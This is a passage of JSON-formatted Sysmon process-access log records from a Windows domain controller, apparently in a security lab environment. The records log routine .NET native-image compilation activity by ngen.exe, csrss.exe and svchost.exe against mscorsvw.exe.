12:01:48.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010AFBF0B00}","TargetProcessId":"3696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.885\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001039C30B00}\r\nTargetProcessId: 4336\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.885","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001039C30B00}","TargetProcessId":"4336","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001039C30B00}\r\nTargetProcessId: 4336\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001039C30B00}","TargetProcessId":"4336","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001039C30B00}\r\nTargetProcessId: 4336\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001039C30B00}","TargetProcessId":"4336","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.947\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010A2D70A00}\r\nTargetProcessId: 4412\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.947","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010A2D70A00}","TargetProcessId":"4412","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010A2D70A00}\r\nTargetProcessId: 4412\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010A2D70A00}","TargetProcessId":"4412","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001010C70B00}\r\nTargetProcessId: 4412\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001010C70B00}","TargetProcessId":"4412","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-0010DD750B00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-0010DD750B00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime"